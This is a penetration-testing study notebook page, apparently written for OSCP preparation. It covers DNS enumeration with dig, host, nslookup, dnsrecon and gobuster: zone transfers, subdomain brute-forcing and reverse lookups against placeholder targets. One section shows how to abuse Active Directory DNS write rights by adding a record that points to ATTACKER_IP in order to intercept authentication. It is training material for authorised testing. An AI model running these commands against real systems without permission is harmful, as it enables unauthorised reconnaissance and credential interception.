Pearson's OSCP Notebook

DNS (dig & host)

Properties1
tagsdns, dig, host, nslookup, dnsrecon, zone-transfer, axfr, subdomain, recon, oscp

5 min read

DNS Enumeration — dig, host & dnsrecon

What is DNS enumeration?

Before attacking web/SMB, discover hostnames tied to an IP — subdomains, mail servers, domain controllers, and internal names leaked in zones or records.

ToolRole
dig / hostQuick lookups, AXFR, reverse DNS — always available
dnsreconAll-in-one enum — std, AXFR, brute, reverse, SRV, export JSON/XML

OSCP use: Zone transfer (AXFR) misconfigs, find dc.corp.local, mail hosts for Mail (SMTP POP3 IMAP), vhost names for /etc/hosts, reverse DNS on pivot subnets, SRV for AD/LDAP.

Tool Comparison

ToolBest for
digFull control, ANY/AXFR queries, detailed output
hostQuick A/MX/NS lookups, simple AXFR syntax
nslookupInteractive mode, Windows-compatible syntax
dnsreconCombined std + AXFR + brute + reverse; JSON/CSV export

All pre-installed on Kali (dnsrecon via apt install dnsrecon if missing).

📌 1) Basic Record Lookups

# A record (IP from hostname)
dig TARGET.com +short
host TARGET.com
 
# All common records
dig TARGET.com ANY
host -a TARGET.com
 
# Specific record types
dig TARGET.com MX      # Mail servers
dig TARGET.com NS      # Name servers
dig TARGET.com TXT     # SPF, DKIM, sometimes secrets
dig TARGET.com SOA     # Start of authority
 
# Reverse DNS (IP → hostname)
dig -x 10.10.10.10 +short
host 10.10.10.10

📌 2) Zone Transfer (AXFR) — High Value

If the DNS server allows zone transfers, you get every subdomain in one request.

# Find NS first
dig TARGET.com NS +short
# ns1.target.com.
 
# Attempt zone transfer
dig axfr TARGET.com @NS_IP
dig axfr @10.10.10.10 TARGET.com
 
# host syntax
host -l TARGET.com NS_IP

Success → add interesting hosts to /etc/hosts and scan:

echo "10.10.10.10 dc.target.com mail.target.com" | sudo tee -a /etc/hosts
nmap -sC -sV -p- dc.target.com

📌 3) Query Specific DNS Server

When target uses internal DNS (VPN/lab):

# Force query to target's DNS
dig @10.10.10.10 corp.local ANY
dig @10.10.10.10 internal.corp.local AXFR
 
# Reverse zone
dig @10.10.10.10 -x 10.10.10.20

📌 4) dnsrecon — All-in-One DNS Enum

Automated DNS recon — standard records, zone transfers, subdomain brute, reverse lookups, SRV.

Install

sudo apt install dnsrecon    # Kali
dnsrecon -h

Scan types (-t)

TypeDescription
stdDefault — SOA, NS, A, AAAA, MX, TXT, SPF (quiet start)
axfrZone transfer against all name servers
brtSubdomain brute-force (needs -D wordlist)
rvlReverse lookup on IP range (needs -r)
srvSRV records — LDAP, Kerberos, XMPP, SIP
zonewalkDNSSEC zone walking (NSEC)
snoopCache snooping

Combine types: -t std,axfr,brt

Common commands

# Standard enumeration (default)
dnsrecon -d target.com
 
# Force queries through target DNS server
dnsrecon -d corp.local -n 10.10.10.10
 
# Zone transfer — high value
dnsrecon -d target.com -t axfr
dnsrecon -d target.com -n 10.10.10.10 -t axfr
 
# Subdomain brute-force
dnsrecon -d target.com -t brt -D /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
dnsrecon -d target.com -t brt -D /usr/share/dnsrecon/namelist.txt -f   # -f filter wildcards
 
# Reverse lookup (discover hostnames on subnet)
dnsrecon -r 10.10.10.0/24 -n 10.10.10.10 -t rvl
 
# SRV — AD / mail / XMPP hints
dnsrecon -d corp.local -t srv
 
# Full pass + save JSON
dnsrecon -d target.com -t std,axfr,brt \
  -D /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  -j dnsrecon_out.json

dnsrecon flags

FlagDescription
-d DOMAINTarget domain
-n NS_SERVERUse specific name server / resolver
-r RANGEIP range for reverse lookup (e.g. 10.10.10.0/24)
-D DICTIONARYWordlist for -t brt
-t TYPEScan type(s) — comma-separated
-fFilter wildcard DNS responses during brute
-aInclude AXFR during std enum
--threads NBrute/reverse concurrency
--lifetime NQuery timeout (slow DNS)
--tcpForce TCP queries
-j JSONExport JSON results
-x XMLExport XML
-c CSVExport CSV
--db FILESQLite database output

Passive sources (version-dependent): -k crt.sh, -b Bing, -y Yandex.

📌 5) Subdomain Brute-Force

DNS brute is Gobuster/dnsrecon territory — dig confirms hits:

# dnsrecon brute
dnsrecon -d target.com -t brt -D /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -n 10.10.10.10
 
# Gobuster DNS mode
gobuster dns -d target.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -r 10.10.10.10
 
# ffuf vhost (HTTP layer) — see [[ffuf]]
# Kerberos user enum — [[Kerbrute]]

Verify each hit:

dig sub.target.com @10.10.10.10 +short

📌 6) Useful dig Flags

FlagDescription
+shortIP/name only
+noall +answerClean answer section
@SERVERQuery specific DNS server
-x IPReverse lookup
axfrZone transfer attempt
+traceTrace delegation from root
+tcpForce TCP (sometimes bypasses filtering)
dig +noall +answer TARGET.com A
dig +trace TARGET.com

📌 7) Windows (nslookup)

nslookup TARGET.com
nslookup -type=MX TARGET.com
nslookup -type=ANY TARGET.com
 
nslookup
> server 10.10.10.10
> ls -d target.com          REM Zone transfer attempt
> 10.10.10.10               REM Reverse lookup

📌 8) AD Integrated DNS (ADIDNS) — write abuse

On domain-joined DNS (port 53 on DC), authenticated users often have permission to create arbitrary DNS records in the ADIDNS zone via LDAP — not just DNS Admin.

Use case: Monitoring scripts that poll hostnames matching a pattern (e.g. web*) — add a record pointing to your IP and intercept auth.

# Add A record (krbrelayx dnstool)
python3 dnstool.py -u 'DOMAIN\user' -p 'PASS' DC_IP -a add -r web1 -d ATTACKER_IP -t A
 
# Dump existing AD DNS records
bloodyAD -H DC_IP -d domain.htb -u user -p 'PASS' get dnsDump

Full chain + Intelligence example → krbrelayx

📌 9) OSCP Workflow

1. dig/host OR dnsrecon -d DOMAIN -t std
2. Attempt AXFR — dig axfr OR dnsrecon -t axfr
3. Subdomain brute — dnsrecon -t brt OR gobuster dns
4. Add hostnames to /etc/hosts
5. nmap discovered hosts
6. gobuster/ffuf vhost if single IP serves multiple sites
7. Kerbrute if AD domain name known

📌 Quick Cheat Sheet

dig TARGET.com ANY +short
dig axfr TARGET.com @NS_IP
host -l TARGET.com NS_IP
dig -x 10.10.10.10 +short
 
dnsrecon -d TARGET.com -t std,axfr
dnsrecon -d TARGET.com -t brt -D /usr/share/dnsrecon/namelist.txt
gobuster dns -d target.com -w subdomains.txt -r NS_IP

Graph View

Backlinks